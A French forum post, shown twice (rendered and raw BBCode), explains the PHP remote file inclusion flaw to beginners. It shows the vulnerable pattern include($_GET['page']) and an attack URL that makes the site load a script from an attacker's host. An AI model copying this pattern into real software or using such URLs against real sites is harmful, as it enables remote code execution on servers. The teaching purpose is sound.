par
Erazer » 18 oct. 2006, 17:22
Ah ba oui, j'ai pas bien vu le code (il y a un echo) je m'excuse, au temps pour moi Embarassed
pas de soucis voyons, on est là pour se corriger les uns les autres
Mais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?!
il faut voir tout le puzzle pour comprendre, ce n'est pas sciemment

(heureusement)
prenons notre programmeur débutant que nous appelerons 'gnome' (sans être méchant biensur) pour faire plus court
donc notre gnome va faire le code suivant
... code html ...
<?php
include($_GET['page']);
?>
notre gnome utilise ce script pour sa navigation, lorsqu'un utilisateur veut aller sur la page inscription.php, le gnome met un lien suivant:
le faille est en place
ensuite vient notre petit chenapant qui vient de lire un tutoriel sur la faille include, il arrive sur le site du gnome et ohhh magie une faille ...
notre petit chenapant va entrer l'url:
Code : Tout sélectionner
http://gnome.com/?page=http://chenapant.com/script_explorer.php
et à partir de la on reprend l'explication qui a été donnée plus haut

[quote]Ah ba oui, j'ai pas bien vu le code (il y a un echo) je m'excuse, au temps pour moi Embarassed [/quote]
pas de soucis voyons, on est là pour se corriger les uns les autres :)
[quote]
Mais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?![/quote]
il faut voir tout le puzzle pour comprendre, ce n'est pas sciemment :) (heureusement)
prenons notre programmeur débutant que nous appelerons 'gnome' (sans être méchant biensur) pour faire plus court
donc notre gnome va faire le code suivant
[php]
... code html ...
<?php
include($_GET['page']);
?>
[/php]
notre gnome utilise ce script pour sa navigation, lorsqu'un utilisateur veut aller sur la page inscription.php, le gnome met un lien suivant:
[code]http://gnome.com/?page=inscription.php[/code]
le faille est en place :)
ensuite vient notre petit chenapant qui vient de lire un tutoriel sur la faille include, il arrive sur le site du gnome et ohhh magie une faille ...
notre petit chenapant va entrer l'url:
[code]
http://gnome.com/?page=http://chenapant.com/script_explorer.php
[/code]
et à partir de la on reprend l'explication qui a été donnée plus haut :)